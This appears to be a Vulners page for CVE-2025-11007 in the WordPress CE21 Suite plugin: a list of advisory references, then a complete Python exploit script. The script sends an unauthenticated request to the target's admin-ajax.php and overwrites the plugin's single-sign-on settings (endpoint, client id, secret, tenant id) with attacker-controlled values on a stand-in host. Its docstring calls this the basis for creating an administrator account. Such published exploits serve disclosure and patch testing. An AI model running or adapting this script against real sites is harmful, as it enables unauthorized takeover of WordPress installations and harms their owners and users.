| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-11007 | 4 Nov 202507:37 | – | circl | |
| WordPress plugin CE21 Suite 访问控制错误漏洞 | 4 Nov 202500:00 | – | cnnvd | |
| CVE-2025-11007 | 4 Nov 202503:26 | – | cve | |
| CVE-2025-11007 CE21 Suite 2.2.1 - 2.3.1 - Missing Authorization to Unauthenticated Privilege Escalation via Plugin Settings Update | 4 Nov 202503:26 | – | cvelist | |
| EUVD-2025-37625 | 4 Nov 202503:26 | – | euvd | |
| CVE-2025-11007 | 4 Nov 202504:15 | – | nvd | |
| WordPress CE21 Suite plugin 2.2.1 - 2.3.1 - Missing Authorization to Unauthenticated Privilege Escalation via plugin Settings Update vulnerability | 4 Nov 202512:25 | – | patchstack | |
| PT-2025-44916 | 4 Nov 202500:00 | – | ptsecurity | |
| CVE-2025-11007 | 5 Nov 202504:14 | – | redhatcve | |
| CVE-2025-11007 CE21 Suite 2.2.1 - 2.3.1 - Missing Authorization to Unauthenticated Privilege Escalation via Plugin Settings Update | 4 Nov 202503:26 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin CE21 Suite <= 2.3.1 - Unauthenticated SSO API Settings Overwrite (Missing Authorization)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/ce21-suite/
# Software Link: https://downloads.wordpress.org/plugin/ce21-suite.2.3.1.zip
# Version: 2.3.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-11007
r"""
CE21 Suite <= 2.3.1 registers the nopriv AJAX action ce21_single_sign_on_save_api_settings
(includes/ce21-functions.php:339) with NO check_ajax_referer and NO current_user_can. The handler
(includes/ce21-functions.php:340-360) writes attacker-supplied values into the ce21_api_settings row
(BaseURL / ClientId / SecretKey / CatalogURL) and unconditionally runs
update_option('tenantId_ce21', $_POST['client_id']).
This lets an unauthenticated attacker repoint the Single-Sign-On trust anchor (SSO endpoint + client
credentials + tenant id) to attacker infrastructure — the basis for creating an administrator via the
plugin's SSO data_fetch flow.
Prior state: plugin active.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--tenant", default="ATTACKER_TENANT_9999")
ap.add_argument("--base-url", default="https://attacker.evil/sso")
args = ap.parse_args()
base = args.target.rstrip("/")
d = {"action": "ce21_single_sign_on_save_api_settings", "api_settings_id": "1",
"base_url": args.base_url, "client_id": args.tenant,
"secret_key": "attackersecret", "catalog_url": "https://attacker.evil/catalog"}
r = requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=25)
print(f"[*] Target: {base}")
print(f"[*] overwrite -> HTTP {r.status_code} :: {r.text[:100]}")
print(f"\n[+] MISSING AUTHORIZATION CONFIRMED — an unauthenticated request overwrote the SSO "
f"settings; verify option tenantId_ce21 is now '{args.tenant}' "
f"(wp option get tenantId_ce21). The SSO trust anchor is attacker-controlled.")
return 0
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation